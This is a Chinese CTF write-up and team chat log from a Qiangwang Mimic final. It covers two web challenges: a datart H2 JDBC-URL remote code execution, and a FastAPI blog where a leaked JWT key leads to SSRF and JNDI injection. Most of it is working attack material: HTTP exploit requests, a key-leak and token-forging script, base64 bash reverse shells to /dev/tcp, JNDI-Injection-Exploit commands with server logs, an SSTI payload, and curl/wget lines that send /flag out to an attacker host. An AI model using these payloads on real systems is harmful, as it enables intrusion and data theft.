强网拟态决赛 wp 燃尽了
Ezdatart https://github.com/running-elephant/datart
http://172.31.18.18:8080/
Version: 1.0.0-rc.3
账号密码(可以注册) admin:123456
CVE 2025 56819 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 POST /api/v1/data-provider/test HTTP/1.1 Host: 172.31.18.18:8080 { "name": "jdbc-data-provider", "type": "JDBC", "properties": { "dbType": "H2", "url": "jdbc:h2:mem:testdb;TRACE_LEVEL_SYSTEM_OUT=3;INIT=CREATE ALIAS EXEC AS 'void cmd_exec(String cmd) throws java.lang.Exception {Runtime.getRuntime().exec(cmd)\\;}'\\;CALL EXEC ('touch /tmp/test1')\\;", "user": null, "password": "", "driverClass": "org.h2.Driver", "serverAggregate": false, "enableSpecialSQL": false, "enableSyncSchemas": true, "syncInterval": "60", "properties": {} } }
1 2 {"data":null,"errCode":0,"exception":null,"message":"User is not logged in, please log in first","pageInfo":null,"success":false,"warnings":null}
cookie验失败了
抓到一个验证包的格式是
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 PUT /api/v1/settings/user/be7329c591cc4376991f509d6936f719 HTTP/1.1 Host: 172.31.18.18:8080 Content-Length: 266 Authorization: Bearer eyJhbGciOiJIUzI1NiJ9.eyJzdWIiOiJhZG1pbiIsInBhc3N3b3JkIjotMTg5NTM5MzgzNiwiZXhwIjoxNzY0MjE0NTE2fQ.OYLsIsk_kJAiMtT1E3Sc1EUtH_UajqPCq83b1ghmnWY Accept-Language: en-US Accept: application/json, text/plain, */* Content-Type: application/json User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/139.0.0.0 Safari/537.36 Origin: http://172.31.18.18:8080 Referer: http://172.31.18.18:8080/organizations/fbb657106dd4428b8313132f95c1f975/vizs Accept-Encoding: gzip, deflate, br Cookie: AUTHORIZATION_TOKEN=Bearer%20eyJhbGciOiJIUzI1NiJ9.eyJzdWIiOiJhZG1pbiIsInBhc3N3b3JkIjotMTg5NTM5MzgzNiwiZXhwIjoxNzY0MjE0NTE2fQ.OYLsIsk_kJAiMtT1E3Sc1EUtH_UajqPCq83b1ghmnWY Connection: keep-alive {"config":null,"createBy":null,"createTime":null,"id":"be7329c591cc4376991f509d6936f719","permission":null,"relId":"fbb657106dd4428b8313132f95c1f975","relType":"LAST_VISITED_ORGANIZATION","updateBy":null,"updateTime":null,"userId":"deadecef257948c19a52fb1b752f72d7"}
现在发
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 POST /api/v1/data-provider/test HTTP/1.1 Host: 172.31.18.18:8080 Content-Length: 549 Authorization: Bearer eyJhbGciOiJIUzI1NiJ9.eyJzdWIiOiJhZG1pbiIsInBhc3N3b3JkIjotMTg5NTM5MzgzNiwiZXhwIjoxNzY0MjE0NTE2fQ.OYLsIsk_kJAiMtT1E3Sc1EUtH_UajqPCq83b1ghmnWY Accept-Language: en-US Accept: application/json, text/plain, */* Content-Type: application/json User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/139.0.0.0 Safari/537.36 Origin: http://172.31.18.18:8080 Referer: http://172.31.18.18:8080/organizations/fbb657106dd4428b8313132f95c1f975/vizs Accept-Encoding: gzip, deflate, br Cookie: AUTHORIZATION_TOKEN=Bearer%20eyJhbGciOiJIUzI1NiJ9.eyJzdWIiOiJhZG1pbiIsInBhc3N3b3JkIjotMTg5NTM5MzgzNiwiZXhwIjoxNzY0MjE0NTE2fQ.OYLsIsk_kJAiMtT1E3Sc1EUtH_UajqPCq83b1ghmnWY Connection: keep-alive { "name": "jdbc-data-provider", "type": "JDBC", "properties": { "dbType": "H2", "url": "jdbc:h2:mem:testdb;TRACE_LEVEL_SYSTEM_OUT=3;INIT=CREATE ALIAS EXEC AS 'void cmd_exec(String cmd) throws java.lang.Exception {Runtime.getRuntime().exec(cmd)\\;}'\\;CALL EXEC ('touch /tmp/test1')\\;", "user": null, "password": "", "driverClass": "org.h2.Driver", "serverAggregate": false, "enableSpecialSQL": false, "enableSyncSchemas": true, "syncInterval": "60", "properties": {} } } HTTP/1.1 200 Authorization: Bearer eyJhbGciOiJIUzI1NiJ9.eyJzdWIiOiJhZG1pbiIsInBhc3N3b3JkIjotMTg5NTM5MzgzNiwiZXhwIjoxNzY0MjE0NjEzfQ.tWfQZuXNpV2fmLAVn90AiCLOt1n4FzCrurfN-6TBCOo X-Content-Type-Options: nosniff X-XSS-Protection: 1; mode=block Cache-Control: no-cache, no-store, max-age=0, must-revalidate Pragma: no-cache Expires: 0 Content-Type: application/json Content-Length: 104 Date: Thu, 27 Nov 2025 03:06:54 GMT Keep-Alive: timeout=60 Connection: keep-alive {"data":true,"errCode":0,"exception":null,"message":null,"pageInfo":null,"success":true,"warnings":null}
有公网vps吗? 它能连公网吗
应该可以 我内网这个还没弹成功 你可以试一下公网的
~这个cookie好像用一次就被刷新了 ex~~
1 2 "org.h2.jdbc.JdbcSQLSyntaxErrorException: Function alias \"EXEC\" already exists; SQL statement:\nCREATE ALIAS EXEC AS 'void cmd_exec(String cmd) throws java.lang.Exception {Runtime.getRuntime().exec(cmd);}'; [90076-200]",
EXEC换个名字 别名应该不影响效果
1 2 jdbc:h2:mem:testdb;TRACE_LEVEL_SYSTEM_OUT=3;INIT=CREATE ALIAS EXEC1 AS 'void cmd_exec(String cmd) throws java.lang.Exception {Runtime.getRuntime().exec(cmd)\\;}'\\;CALL EXEC1 ('touch /tmp/test1')\\;
Cannot run program ""nc"": error=2, No such file or directory"; 没nc的
ping是有的 但是ping dnslog失败了 (没成功
EXP
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 { "name": "jdbc-data-provider", "type": "JDBC", "properties": { "dbType": "H2", "url": "jdbc:h2:mem:testdb;TRACE_LEVEL_SYSTEM_OUT=3;INIT=CREATE ALIAS EXEC AS 'void cmd_exec(String cmd) throws java.lang.Exception {Runtime.getRuntime().exec(cmd)\\;}'\\;CALL EXEC ('curl hqkepz.dnslog.cn')\\;", "user": null, "password": "", "driverClass": "org.h2.Driver", "serverAggregate": false, "enableSpecialSQL": false, "enableSyncSchemas": true, "syncInterval": "60", "properties": {} } }
1 2 3 4 5 6 H2 数据库版本限制 (H2 Version Security) 关键指标: 错误代码结尾的 [90046-200]。这代表服务端的 H2 数据库版本是 2.0.200 或更高。 核心问题: H2 数据库从 2.0 版本 开始,出于安全考虑,进行了重大更新: 禁用了 INIT 执行代码: INIT=... 参数不再允许直接执行任意 SQL 或调用 RUNSCRIPT,除非明确在代码层面启用了相关配置(默认关闭)。 移除了EXEC 别名: 以前常用的利用 CREATE ALIAS EXEC AS ... 来调用 Java 代码的方法在 H2 2.x 中默认被禁止,或者需要更复杂的配置(如 JAVA_METHOD 的限制)。
…现在还不清楚数据库版本
1 2 3 static int URL_FORMAT_ERROR_2 The error with code 90046 is thrown when trying to open a connection to a database using an unsupported URL format.
能执行了但是内网没法弹出来 可以直接写马嘛
卧槽好像有
1 2 3 4 5 ┌──(choco㉿choco)-[~/Web/qwnt] └─$ python -m http.server 8000 Serving HTTP on 0.0.0.0 port 8000 (http://0.0.0.0:8000/) ... 172.31.18.18 - - [27/Nov/2025 11:57:01] "GET / HTTP/1.1" 200 -
监听到的1818 🐂
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 { "name": "jdbc-data-provider", "type": "JDBC", "properties": { "dbType": "H2", "url": "jdbc:h2:mem:testdb;TRACE_LEVEL_SYSTEM_OUT=3;INIT=CREATE ALIAS E12301 AS 'void cmd_exec(String cmd) throws java.lang.Exception {Runtime.getRuntime().exec(cmd)\\;}'\\;CALL E12301 ('curl http://10.222.18.17:8000')\\;", "user": null, "password": "", "driverClass": "org.h2.Driver", "serverAggregate": false, "enableSpecialSQL": false, "enableSyncSchemas": true, "syncInterval": "60", "properties": {} } }
现在不知道怎么弹shell 对面没nc 用bash什么的也没啥反应 怪哦 直接curl xxx?$(cat /flag)数据试试?
写一下
How
1 2 3 4 5 6 curl -X POST -d @/flag http://10.222.18.17:8000/ 172.31.18.18 - - [27/Nov/2025 11:59:56] code 501, message Unsupported method ('POST') 172.31.18.18 - - [27/Nov/2025 11:59:56] "POST / HTTP/1.1" 501 - curl -G --data-urlencode "flag=$(cat /flag)" http://10.222.18.17:8000/
不能POST好像 wdf
1 2 3 4 5 6 7 8 9 10 11 12 13 14 from http.server import HTTPServer, SimpleHTTPRequestHandler import urllib.parse class Handler(SimpleHTTPRequestHandler): def do_POST(self): content_length = int(self.headers['Content-Length']) post_data = self.rfile.read(content_length).decode('utf-8') print("[+] Received POST data:", post_data) self.send_response(200) self.end_headers() self.wfile.write(b'OK') HTTPServer(('0.0.0.0', 8000), Handler).serve_forever()
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 { "name": "jdbc-data-provider", "type": "JDBC", "properties": { "dbType": "H2", "url": "jdbc:h2:mem:testdb;TRACE_LEVEL_SYSTEM_OUT=3;INIT=CREATE ALIAS E1211f AS 'void cmd_exec(String cmd) throws java.lang.Exception {Runtime.getRuntime().exec(cmd)\\;}'\\;CALL E1211f ('curl -X POST -d @/flag http://10.222.18.17:8000/')\\;", "user": null, "password": "", "driverClass": "org.h2.Driver", "serverAggregate": false, "enableSpecialSQL": false, "enableSyncSchemas": true, "syncInterval": "60", "properties": {} } }
flag{Y5rcTS41RLGB7okxefvSZyIDrud5mkiD}
^ ^
curl是对的,经典拿到rce之后弹shell浪费1h
WUWA
python代码而已,审计吧
vpn, 靶机:http://172.31.18.19:8000/
1 2 3 4 5 6 7 ---- Scanning URL: http://172.31.18.19:8000/ ---- http://172.31.18.19:8000/admin http://172.31.18.19:8000/docs http://172.31.18.19:8000/login http://172.31.18.19:8000/logout http://172.31.18.19:8000/static
/docs
看着眼熟 fastapi
最核心的漏洞点在于:异常处理会将 traceback.format_exc() 作为 HTTP 响应直接返回 。 在 Python 的报错堆栈(Traceback)中,通常会包含触发错误的那一行源代码 。
如果在服务器实际运行的代码中,硬编码的密钥不是 "default_jwt_key",而是被修改为了其他字符串,那么这个报错堆栈会将真实的密钥直接打印出来
利用报错堆栈泄露源码 我们需要发送一个精心构造的畸形 Token,触发 base64 解码错误,然后抓取返回的 Traceback 信息,从中提取出真实的 Key
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 import requests import jwt import datetime import re TARGET_URL = "http://172.31.18.19:8000" def get_server_key(session): print("[*] 正在尝试触发 500 错误以泄露源码...") # 构造畸形 Token: # 1. 长度必须 > 1024 以进入 else 分支 # 2. 包含 '.' 或非法 Base64 字符以触发 b64decode 异常 # 3. 头部要是 Bearer 以通过中间件处理 padding = "a" * 1200 malformed_token = "Bearer " + "x" * 1024 + "...." session.cookies.set("access_token", malformed_token) resp = session.get(f"{TARGET_URL}/admin") try: detail = resp.json().get("detail", "") print("=" * 20 + " REMOTE TRACEBACK " + "=" * 20) print(detail) print("=" * 60) match = re.search(r'key\s*=\s*["\']([^"\']+)["\']\s*if', detail) found_key = match.group(1) print(f"\n[!!!] 发现潜在的 SECRET KEY: {found_key}") return found_key except Exception as e: print(f"[-] 解析响应失败: {e}") print(f"原始响应: {resp.text}") return None def exploit(key): payload = { "sub": "admin", "exp": datetime.datetime.utcnow() + datetime.timedelta(minutes=60) } token = jwt.encode(payload, key, algorithm="HS256") if isinstance(token, bytes): token = token.decode('utf-8') session = requests.Session() session.cookies.set("access_token", f"Bearer {token}") resp = session.get(f"{TARGET_URL}/admin") if __name__ == "__main__": session = requests.Session() leaked_key = get_server_key(session) if leaked_key: exploit(leaked_key) else: pass
好像找到key了? SECRET_KEY: c7c9b4c4-94e9-4cfb-9a4e-3a4eb2f42c38
1 2 3 4 5 6 7 8 Traceback (most recent call last): File "/opt/blogapp/app/core/security.py", line 28, in verify_token key = "c7c9b4c4-94e9-4cfb-9a4e-3a4eb2f42c38" if len(token) <= 1024 else base64.b64decode(token[7:]) File "/usr/lib/python3.10/base64.py", line 87, in b64decode return binascii.a2b_base64(s) binascii.Error: Invalid base64-encoded string: number of data characters (1017) cannot be 1 more than a multiple of 4 ============================================================
令牌:
1 2 3 4 5 6 7 8 9 10 def generate_admin_token(): payload = {"sub": settings.ADMIN_USERNAME} token = jwt.encode(payload, settings.SECRET_KEY, algorithm=settings.ALGORITHM) print(f"[+] 生成的令牌: {token}") return token eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJzdWIiOiJhZG1pbiJ9.SnRYaGVRFghnsdgIl0xfcAdHl2jLWpi2xESUtm6jP3Q Bearer eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJzdWIiOiJhZG1pbiJ9.SnRYaGVRFghnsdgIl0xfcAdHl2jLWpi2xESUtm6jP3Q
令牌你自己生成一下看看 我这卡住了
后面应该是打nettools.py 执行
1 2 3 if tcp_hex: data_bytes = data.encode('utf-8').decode('unicode_escape').encode('latin1')
1 2 Authorization:Bearer eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJzdWIiOiJhZG1pbiJ9.SnRYaGVRFghnsdgIl0xfcAdHl2jLWpi2xESUtm6jP3Q
成功了
有了
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 GET /admin HTTP/1.1 Authorization:Bearer eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJzdWIiOiJhZG1pbiJ9.SnRYaGVRFghnsdgIl0xfcAdHl2jLWpi2xESUtm6jP3Q HTTP/1.1 200 OK date: Fri, 28 Nov 2025 03:23:06 GMT server: uvicorn content-length: 4312 content-type: text/html; charset=utf-8 Connection: close <!DOCTYPE html> <html lang="zh-CN"> <head> <meta charset="UTF-8"> <title>Blog Admin
好像没找到有其它服务?
我感觉是打nettools 这个TCP
if tcp_hex:
data_bytes = data.encode(‘utf-8’).decode(‘unicode_escape’).encode(‘latin1’)
写的太怪了 十分甚至九分不对劲 没救了题目根本搜不到别的东西()
看看 /blogs/new 能不能ssti注入进去
好像没用 伪协议也不让用
URL-Slug 过滤逻辑
模板注入存在(引擎会解析 {{}})
但保存接口把非法字符全替换成连字符 → 导致语法报废,无法 RCE
1 2 {%set c=(dict(a=1)|attr(request.args.x1)|attr(request.args.x2))(request.args.x3)()%}{%set o=c(request.args.x4)|attr(request.args.x5)()|attr(request.args.x6)(397)|attr(request.args.x7)|attr(request.args.x8)|attr(request.args.x9)(request.args.xa)|attr(request.args.xb)(request.args.xc)|attr(request.args.xd)()%}
不行 只有标题会渲染但是不能有空格 ee
http://172.31.18.19:8000/post/hack
这里可以通过
修改传入文章的内容 1 2 3 4 5 6 POST /admin/blogs/hack/save HTTP/1.1 Host: 172.31.18.19:8000 Authorization:Bearer eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJzdWIiOiJhZG1pbiJ9.SnRYaGVRFghnsdgIl0xfcAdHl2jLWpi2xESUtm6jP3Q title= &tags= &body=
修改可以改标题 标准SSTI 但是又不渲染了 无敌了 为什么我的标题一直渲染不了()
我也是
这地方还是创建时的名 这是那个slug的名,改不了的好像 是的 这里会渲染吗
1-9999端口都是 connection refuse 只有8000
10052有服务
呃其实就这一句话其它就是页面渲染了
请求action=send&mode=tcp&tcp_host=127.0.0.1&tcp_port=54122&tcp_hex=true&tcp_payload=PING
1 2 3 4 5 6 //54122、53932、37836端口 这三回显一样 Raw bytes: b'PING' Hex: 50494e47
1 2 3 4 5 6 7 8 9 10 11 12 13 action=send&mode=tcp&tcp_host=127.0.0.1&tcp_port=10052&tcp_hex=true&tcp_payload=PING\r\n //10052回显 Raw bytes: b'ZBXD\x01C\x00\x00\x00\x00\x00\x00\x00{"response":"failed","error":"bad protocol header: 35 30 34 39 34"}' Hex: 5a4258440143000000000000007b22726573706f6e7365223a226661696c6564222c226572726f72223a226261642070726f746f636f6c206865616465723a203335203330203334203339203334227d 解码后ZBXDC{"response":"failed","error":"bad protocol header: 50 49 4E 47 0D"} action=send&mode=tcp&tcp_host=127.0.0.1&tcp_port=10052&tcp_hex=true&tcp_payload=\x5a\x42\x58\x44\x01\x15\x00\x00\x00\x00\x00\x00\x00system.run[cat /flag] Raw bytes: b'ZBXD\x01k\x00\x00\x00\x00\x00\x00\x00{"response":"failed","error":"Value system.run of type java.lang.String cannot be converted to JSONObject"}' Hex: 5a425844016b000000000000007b22726573706f6e7365223a226661696c6564222c226572726f72223a2256616c75652073797374656d2e72756e206f662074797065206a6176612e6c616e672e537472696e672063616e6e6f7420626520636f6e76657274656420746f204a534f4e4f626a656374227d Zabbix 服务 cve能打吗
这条路感觉没戏( 其它三个端口好像就没什么东西了
应该还是打8000端口
JNDI 1 2 3 4 5 6 7 8 9 10 11 echo -n 'bash -i >& /dev/tcp/10.222.18.17/8000 0>&1' | base64 -w0 YmFzaCAtaSA+JiAvZGV2L3RjcC8xMC4yMjIuMTguMTcvODAwMCAwPiYx c2ggLWkgPiYgL2Rldi90Y3AvMTAuMjIyLjE4LjE3LzgwMDAgMD4mMQ== bash -c {echo,YmFzaCAtaSA+JiAvZGV2L3RjcC8xMC4yMjIuMTguMTcvODAwMCAwPiYx}|{base64,-d}|{bash,-i} java -jar JNDI-Injection-Exploit-1.0-SNAPSHOT-all.jar \ -C "bash -c {echo,YmFzaCAtaSA+JiAvZGV2L3RjcC8xMC4yMjIuMTgvODAwMCAwPiYx}|{base64,-d}|{bash,-i}" \ -A 10.222.18.17
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 POST /admin/nettools HTTP/1.1 Host: 172.31.18.19:8000 Cache-Control: max-age=0 Authorization:Bearer eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJzdWIiOiJhZG1pbiJ9.SnRYaGVRFghnsdgIl0xfcAdHl2jLWpi2xESUtm6jP3Q Accept-Language: en-US,en;q=0.9 Upgrade-Insecure-Requests: 1 User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/139.0.0.0 Safari/537.36 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7 Accept-Encoding: gzip, deflate, br Connection: keep-alive Content-Type: application/x-www-form-urlencoded Content-Length: 648 action=send&mode=tcp&tcp_host=127.0.0.1&tcp_port=10052&tcp_hex=true&tcp_payload=\x5a\x42\x58\x44\x01\x81\x00\x00\x00\x00\x00\x00\x00\x7b\x22\x72\x65\x71\x75\x65\x73\x74\x22\x3a\x22\x6a\x61\x76\x61\x20\x67\x61\x74\x65\x77\x61\x79\x20\x6a\x6d\x78\x22\x2c\x22\x6a\x6d\x78\x5f\x65\x6e\x64\x70\x6f\x69\x6e\x74\x22\x3a\x22\x73\x65\x72\x76\x69\x63\x65\x3a\x6a\x6d\x78\x3a\x72\x6d\x69\x3a\x2f\x2f\x2f\x6a\x6e\x64\x69\x2f\x72\x6d\x69\x3a\x2f\x2f\x31\x30\x2e\x32\x32\x32\x2e\x31\x38\x2e\x31\x37\x3a\x31\x30\x39\x39\x2f\x79\x67\x67\x35\x62\x33\x22\x2c\x22\x6b\x65\x79\x73\x22\x3a\x5b\x22\x73\x79\x73\x74\x65\x6d\x2e\x63\x70\x75\x2e\x6c\x6f\x61\x64\x22\x5d\x7d
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 $ java -jar JNDI-Injection-Exploit-1.0-SNAPSHOT-all.jar \ -C 'sh -c "exec 5<>/dev/tcp/10.222.18.17/8000; cat <&5 >&5 2>&5"' \ -A 10.222.18.17 [ADDRESS] >> 10.222.18.17 [COMMAND] >> sh -c "exec 5<>/dev/tcp/10.222.18.17/8000; cat <&5 >&5 2>&5" ----------------------------JNDI Links---------------------------- Target environment(Build in JDK 1.7 whose trustURLCodebase is true): rmi://10.222.18.17:1099/cbjiaa ldap://10.222.18.17:1389/cbjiaa Target environment(Build in JDK 1.8 whose trustURLCodebase is true): rmi://10.222.18.17:1099/fn8nbp ldap://10.222.18.17:1389/fn8nbp Target environment(Build in JDK whose trustURLCodebase is false and have Tomcat 8+ or SpringBoot 1.2.x+ in classpath): rmi://10.222.18.17:1099/xp7uh6 ----------------------------Server Log---------------------------- 2025-11-28 15:41:51 [JETTYSERVER]>> Listening on 0.0.0.0:8180 2025-11-28 15:41:51 [RMISERVER] >> Listening on 0.0.0.0:1099 2025-11-28 15:41:51 [LDAPSERVER] >> Listening on 0.0.0.0:1389 2025-11-28 15:42:09 [LDAPSERVER] >> Send LDAP reference result for cbjiaa redirecting to http://10.222.18.17:8180/ExecTemplateJDK7.class 2025-11-28 15:42:10 [JETTYSERVER]>> Log a request to http://10.222.18.17:8180/ExecTemplateJDK7.class 2025-11-28 15:42:10 [LDAPSERVER] >> Send LDAP reference result for cbjiaa redirecting to http://10.222.18.17:8180/ExecTemplateJDK7.class 2025-11-28 15:42:10 [JETTYSERVER]>> Log a request to http://10.222.18.17:8180/ExecTemplateJDK7.class 2025-11-28 15:42:40 [RMISERVER] >> Have connection from /172.31.18.19:40906 2025-11-28 15:42:50 [RMISERVER] >> Reading message... 2025-11-28 15:42:50 [RMISERVER] >> Is RMI.lookup call for fn8nbp 2 2025-11-28 15:42:50 [RMISERVER] >> Sending remote classloading stub targeting http://10.222.18.17:8180/ExecTemplateJDK8.class 2025-11-28 15:42:50 [RMISERVER] >> Closing connection 2025-11-28 15:42:50 [RMISERVER] >> Have connection from /172.31.18.19:40908 2025-11-28 15:42:50 [RMISERVER] >> Closing connection
又是弹不出 能rce了? 有静态目录可以写 , /opt/blogapp应该是web目录肯定可以写 但是我不知道能不能读取写入的文件..
看报错应该是执行了, 我发个ping出来试一下 ..怎么我一直timeout连jndi
目标 JDK ≥ 8u191 / 11+(trustURLCodebase=false)
它确实下载了 ExecTemplateJDK7.class(8180 日志出现多次)
但 JVM 不允许把任意陌生类当成 ObjectFactory 去实例化 —— 直接抛 ClassCastException
gg 高版本rmi我好像见过,我找找 https://gsbp0.github.io/post/2025n1ctf-wp-for-n1cateezzjs/#n1cat 这个就是直接打rmi
请求能发出去吗 我这一直timeout +1 Have connection from /172.31.18.19:40906这个当时是怎么收到的
高版本rmi靶机下不到那个class(/ExecTemplateJDK7/8.class)
暂时无法在飞书文档外展示此内容
就是打rmi的请求会收到这个 。。我现在连请求也收不到
为什么
卧槽不对啊 2025-11-28 15:42:50 [RMISERVER] >> Is RMI.lookup call for fn8nbp 2 2025-11-28 15:42:50 [RMISERVER] >> Sending remote classloading stub targeting http://10.222.18.17:8180/ExecTemplateJDK8.class这怎么还不如当时的效果呢
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 ----------------------------Server Log---------------------------- 2025-11-28 16:23:35 [JETTYSERVER]>> Listening on 0.0.0.0:8180 2025-11-28 16:23:36 [RMISERVER] >> Listening on 0.0.0.0:1099 2025-11-28 16:23:36 [LDAPSERVER] >> Listening on 0.0.0.0:1389 2025-11-28 16:23:57 [RMISERVER] >> Have connection from /172.31.18.19:41254 2025-11-28 16:24:07 [RMISERVER] >> Reading message... 2025-11-28 16:24:07 [RMISERVER] >> Is RMI.lookup call for 67qqrt 2 2025-11-28 16:24:07 [RMISERVER] >> Sending local classloading reference. 2025-11-28 16:24:07 [RMISERVER] >> Closing connection 2025-11-28 16:24:07 [RMISERVER] >> Have connection from /172.31.18.19:41256 2025-11-28 16:24:07 [RMISERVER] >> Closing connection 2025-11-28 16:24:54 [RMISERVER] >> Have connection from /172.31.18.19:41266 2025-11-28 16:25:04 [RMISERVER] >> Reading message... 2025-11-28 16:25:04 [RMISERVER] >> Is RMI.lookup call for x2euar 2 2025-11-28 16:25:04 [RMISERVER] >> Sending remote classloading stub targeting http://10.222.18.17:8180/ExecTemplateJDK8.class 2025-11-28 16:25:04 [RMISERVER] >> Closing connection 2025-11-28 16:25:04 [RMISERVER] >> Have connection from /172.31.18.19:41268 2025-11-28 16:25:04 [RMISERVER] >> Closing connection
我怎么感觉是被打断了Sending remote classloading stub targeting http://10.222.18.17:8180/ExecTemplateJDK8.class
是不是跑偏了, 这题应该还是打python相关的? )
看看能不能cat /flag > blog/flag.txt
这个博客系统就是把文章记作txt的
还是不行
1 2 3 为何我直接报了这个错,连不出来 {"response":"failed","error":"com.sun.jndi.rmi.registry.RegistryContext cannot be cast to javax.management.remote.rmi.RMIServer: service:jmx:rmi:\\/\\/\\/jndi\\/rmi:\\/\\/10.222.18.29:8899"}'
奥连出来了
我草?
还有这种报错的
1 2 3 4 Raw bytes: b'' Hex:
看笑了
实在不行就套娃吧 让恶意类读取flag然后自动发api请求把flag写入文章..好扯
连上了? 呃我也不确定服务器读没读,得试试
试试 curl没反应,不确定了
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 cmd='curl -X POST http://127.0.0.1:8000/admin/blogs/testssrf/save -H "Authorization:Bearer eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJzdWIiOiJhZG1pbiJ9.SnRYaGVRFghnsdgIl0xfcAdHl2jLWpi2xESUtm6jP3Q" -d "title=FlagIsHere&tags=pwn&body=$(cat /flag & env)"' echo -n $cmd | base64 | tr -d "\n" Y3VybCAtWCBQT1NUIGh0dHA6Ly8xMjcuMC4wLjE6ODAwMC9hZG1pbi9ibG9ncy90ZXN0c3NyZi9zYXZlIC1IICJBdXRob3JpemF0aW9uOkJlYXJlciBleUpoYkdjaU9pSklVekkxTmlJc0luUjVjQ0k2SWtwWFZDSjkuZXlKemRXSWlPaUpoWkcxcGJpSjkuU25SWWFHVlJGZ2huc2RnSWwweGZjQWRIbDJqTFdwaTJ4RVNVdG02alAzUSIgLWQgInRpdGxlPUZsYWdJc0hlcmUmdGFncz1wd24mYm9keT0kKGNhdCAvZmxhZyB8fCBjYXQgL3Jvb3QvZmxhZyB8fCBlbnYpIg== java -jar JNDI-Injection-Exploit-1.0-SNAPSHOT-all.jar -C 'bash -c "echo Y3VybCAtWCBQT1NUIGh0dHA6Ly8xMjcuMC4wLjE6ODAwMC9hZG1pbi9ibG9ncy90ZXN0c3NyZi9zYXZlIC1IICJBdXRob3JpemF0aW9uOkJlYXJlciBleUpoYkdjaU9pSklVekkxTmlJc0luUjVjQ0k2SWtwWFZDSjkuZXlKemRXSWlPaUpoWkcxcGJpSjkuU25SWWFHVlJGZ2huc2RnSWwweGZjQWRIbDJqTFdwaTJ4RVNVdG02alAzUSIgLWQgInRpdGxlPUZsYWdJc0hlcmUmdGFncz1wd24mYm9keT0kKGNhdCAvZmxhZyB8fCBjYXQgL3Jvb3QvZmxhZyB8fCBlbnYpIg== | base64 -d | bash"' -A 10.222.18.17 wget -qO- --header="Authorization:Bearer eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJzdWIiOiJhZG1pbiJ9.SnRYaGVRFghnsdgIl0xfcAdHl2jLWpi2xESUtm6jP3Q" --post-data="title=SUCCESS_WGET&body=$(cat /flag)" http://127.0.0.1:8000/admin/blogs/testssrf/save cmd='wget -qO- --header="Authorization:Bearer eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJzdWIiOiJhZG1pbiJ9.SnRYaGVRFghnsdgIl0xfcAdHl2jLWpi2xESUtm6jP3Q" --post-data="title=SUCCESS_WGET&body=$(cat /flag)" http://127.0.0.1:8000/admin/blogs/testssrf/save' echo -n $cmd | base64 | tr -d "\n" d2dldCAtcU8tIC0taGVhZGVyPSJBdXRob3JpemF0aW9uOkJlYXJlciBleUpoYkdjaU9pSklVekkxTmlJc0luUjVjQ0k2SWtwWFZDSjkuZXlKemRXSWlPaUpoWkcxcGJpSjkuU25SWWFHVlJGZ2huc2RnSWwweGZjQWRIbDJqTFdwaTJ4RVNVdG02alAzUSIgLS1wb3N0LWRhdGE9InRpdGxlPVNVQ0NFU1NfV0dFVCZib2R5PSQoY2F0IC9mbGFnKSIgaHR0cDovLzEyNy4wLjAuMTo4MDAwL2FkbWluL2Jsb2dzL3Rlc3Rzc3JmL3NhdmU= java -jar JNDI-Injection-Exploit-1.0-SNAPSHOT-all.jar -C 'bash -c "echo d2dldCAtcU8tIC0taGVhZGVyPSJBdXRob3JpemF0aW9uOkJlYXJlciBleUpoYkdjaU9pSklVekkxTmlJc0luUjVjQ0k2SWtwWFZDSjkuZXlKemRXSWlPaUpoWkcxcGJpSjkuU25SWWFHVlJGZ2huc2RnSWwweGZjQWRIbDJqTFdwaTJ4RVNVdG02alAzUSIgLS1wb3N0LWRhdGE9InRpdGxlPVNVQ0NFU1NfV0dFVCZib2R5PSQoY2F0IC9mbGFnKSIgaHR0cDovLzEyNy4wLjAuMTo4MDAwL2FkbWluL2Jsb2dzL3Rlc3Rzc3JmL3NhdmU= | base64 -d | bash"' -A 10.222.18.17
有没有可能它能发出来rmi发不回去,毕竟内网服务
Em 我现在是让它往本地发请求的 好像也没成功.
错的错的
~没招了~~
1 2 3 还要ssl加密 {"response":"failed","error":"SSL peer shut down incorrectly: service:jmx:rmi:\\/\\/\\/jndi\\/rmi:\\/\\/10.222.18.29:8899\\/Object"}
啊? 怎么构造请求的 我还在Unterminated object at character 就是用的刚才发那道题的poc,
不对啊,这不是说明rmi要有密钥它才接收吗,感觉打不了啊
我也感觉jndi打不了 寄
我fastjson也报了这个Unrecognized SSL message, plaintext connection
